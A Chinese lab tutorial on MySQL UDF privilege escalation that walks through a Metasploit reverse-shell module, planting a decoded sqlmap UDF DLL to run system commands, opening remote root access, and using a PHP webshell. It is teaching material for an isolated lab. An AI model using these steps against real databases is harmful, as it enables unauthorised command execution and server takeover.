MYSQL提权

一、环境准备:

靶场机:windows7:192.168.200.34
攻击机:kali:192.168.200.14

二、原理:

UDF(User-Defined Function)提权指的是通过在MySQL数据库中编写自定义函数(UDF)的方式,实现在MySQL数据库中提升权限的方法

三、利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下手动创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。

  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。

  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。

  4. 可以将udf.dll写入到相应目录的权限。

  5. 知道root账号密码UDF提权

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

利用navicat实现远程操控

操作方法一之MSF-udf-利用:

靶场设置:
在phpmyadmin中开启mysql远程连接

use mysql;
grant all privileges on *.* to root@'%' identified by '数据库密码';
flush privileges; 

先后执行:
首先需要先使用数据库
image.png
image.png
kali中使⽤MSF指令,构造payload进行替换
一、设置参数,执行导入dll

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 123456
set rhosts 192.168.200.38 #靶机IP
run

1、image.png
2、
image.png
3、一般的出现这样的进程信息代表.dll文件正在生成中
image.png
4、options设置必要参数
image.png
注意:出现如下报错信信息的解决手段:
image.png
解决方式
在my.ini中mysqld下的首航添加属性 secure_file_priv = ’ ’
用法详情:

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

回到windows7中检验已经生成好的.dll文件,如下图:
image.png
使用navicat充当远程连接数据库的工具,充当提权的工具:
使用数据库管理工具windows 7 连接mysql
image.png
执行命令如下命令查看dll是否导入成功,并且新建函数sys_exec
image.png
sys_exec函数无回显,使用MSF生成的dll 生成自建函数sys_eval(我这里已经创建好了)
image.png
最后调用sys_eval函数执行dll,从中执行查询命令
image.png

操作方法二 之手工导出sqlmap中的dll:

利用:sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll
64位选64位,32位选32位
image.png
1.将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak,将上图的文件放到此目录下,进行解码,生成一个名为udf.dll的文件

  • sqlmap自带shell及二进制文件,防止被误杀都经过异或方式编码,不能直接使用,需利用SQLMap自带的解码工具cloak.py进行解码
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll

image.png
2.将我们的udf.dll二进制文件读取UDF转换为十六机制进行处理;

由于当前的靶场环境是在虚拟机中,所以应该在虚拟中寻找下图文件
此命令在navicat执行即可

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf11.txt';

image.png
image.png
3.打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容

create table udftmp (udf LONGBLOB);

image.png
4.在udftmp中写入udf文件的十六进制内容(第二步骤)

INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));-- 出现secure-file-priv相关报错,需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径

image.png
5.将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
(//C:\phpstudyx\Extensions\MySQL5.7.26\lib\plugin\下)
image.png
image.png

6.执行下面语句,创建函数cmdshell
可以看大当前是只有两个字函数的,并且每一个函数都对应着类型的文件
image.png
此处,我们可以直接使用方法一的MSF-UDF方法的sys_eval函数进行提权,利用UDF创建用户自定义函数

create function cmdshell returns string soname 'udf.dll';

image.png
解决:
image.png
7.利用函数执行命令

select  sys_eval('whoami');

image.png

操作方法三之暗月moon.php:

将下载好的大马放入到根下,然后浏览器中解析文件
(www/data/config.php内 数据库存储着用户名和密码)
image.png
报错,根据靶场经验来看,和php版本有关,如果不知道的话可以尝试其他方法多多踩坑,最后还是得想到降低php版本
image.png
php版本5.3.29即可
image.png

查看一下,大马能够实现功能
1、还能利用webshell工具进行反弹shell等诸多功能
image.png
2、查看mysql版本位数(有利收集信息的SQL语句都可以往进输入)

show variables like '%version_%';

image.png

3、查看当前用户
image.png
image.png
4、
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/259894.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【vtkWidgetRepresentation】第六期 vtkFinitePlaneRepresentation

很高兴在雪易的CSDN遇见你 ,给你糖糖 欢迎大家加入雪易社区-CSDN社区云 前言 本文分享VTK中的平面Plane表示方法,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞关注,小易会继续努力分享,一起进步! …

unity中:搭建在线AR应用

使用Imagine WebAR - Image Tracker插件部署WebGL应用 在使用Imagine WebAR - Image Tracker插件进行WebGL应用开发时,有两个关键知识点需要掌握: 1. 部署到支持HTTPS的服务器 由于WebGL应用需要访问用户的摄像头,因此必须在支持HTTPS的服…

【前端】CSS基础(学习笔记)

一、简介 1、HTML局限性 HTML只关注内容的语义,但是丑! 2、CSS概要 CSS 是层叠样式表 ( Cascading Style Sheets ) 的简称,有时我们也会称之为 CSS 样式表或级联样式表。 CSS 是也是一种标记语言 CSS 主要用于设置 HTML 页面中的文本内…

面向对象中的单例模式

1、什么是设计模式 设计模式就是前人根据实际的问题提出的问题解决方案,我们把这种就称之为设计模式。 2、单例模式 单例模式是一种常见的设计模式! 所谓的设计模式,不是一种新的语法,而是人们在实际的应用中,面对…

git clone 命令

git clone 是一个用于克隆(clone)远程 Git 仓库到本地的命令。 git clone 可以将一个远程 Git 仓库拷贝到本地,让自己能够查看该项目,或者进行修改。 git clone 命令,你可以复制远程仓库的所有代码和历史记录&#xf…

[渗透测试学习] Devvortex - HackTheBox

文章目录 信息搜集解题步骤提交flag 信息搜集 扫描端口 nmap -sV -sC -p- -v --min-rate 1000 10.10.11.242发现80端口有http服务,并且是nginx服务 尝试访问web界面,发现跳转到http://devvortex.htb/无法访问 我们用vim添加该域名即可 sudo vim /etc/…

特殊进程之守护进程

文章目录 1、守护进程的概念2、如何查看守护进程3、编写守护进程的步骤3.1 创建子进程,父进程退出3.2 在子进程中创建新会话3.3 改变当前工作目录3.4 重设文件权限掩码3.5 关闭不需要的文件描述符3.6 某些特殊的守护进程打开/dev/null 4、守护进程代码示例 1、守护进…

3接上篇 我的自定义GPTs的改进优化 与物理世界连接成功 GPTs的创建与使用定义和执行特定任务的功能模块 通过API与外部系统或服务的交互

https://blog.csdn.net/chenhao0568/article/details/134875067?spm1001.2014.3001.5502 从服务器日志里看到请求多了一个“location” 23.102.140.123 - - [08/Dec/2023:14:02:20 0800] "GET /getWeather.php?location&locationNewYork HTTP/1.1" 200 337 &…

深度学习还可以从如下方面进行创新!!

文章目录 一、我认为可以从如下5个方向进行创新总结 一、我认为可以从如下5个方向进行创新 新的模型结构:尽管现在的深度学习模型已经非常强大,但是还有很多未被探索的模型结构。探索新的模型结构可以带来更好的性能和更低的计算成本。 新的优化算法&a…

【力扣热题100】287. 寻找重复数(弗洛伊德的乌龟和兔子方法)

【力扣热题100】287. 寻找重复数 写在最前面理解解决 "寻找重复数" 问题的算法问题描述弗洛伊德的乌龟和兔子方法为什么这个方法有效? 代码复杂度 总结回顾 写在最前面 刷一道力扣热题100吧 难度中等 https://leetcode.cn/problems/find-the-duplicate-…

让聪明的车连接智慧的路,C-V2X开启智慧出行生活

“聪明的车 智慧的路”形容的便是车路协同的智慧交通系统,从具备无钥匙启动,智能辅助驾驶和丰富娱乐影音功能的智能网联汽车,到园区的无人快递配送车,和开放的城市道路上自动驾驶的公交车、出租车,越来越多的车联网应用…

Linux——web网站服务(一)

一、安装httpd服务器Apache网站服务 1、准备工作 为了避免发送端口冲突,程序冲突等现象,卸载使用rpm方式安装的httpd #使用命令检查是否下载了httpd [rootserver ~]# rpm -qa httpd #如果有则使用 [rootserver ~]# rpm -e httpd --nodeps Apache的配置…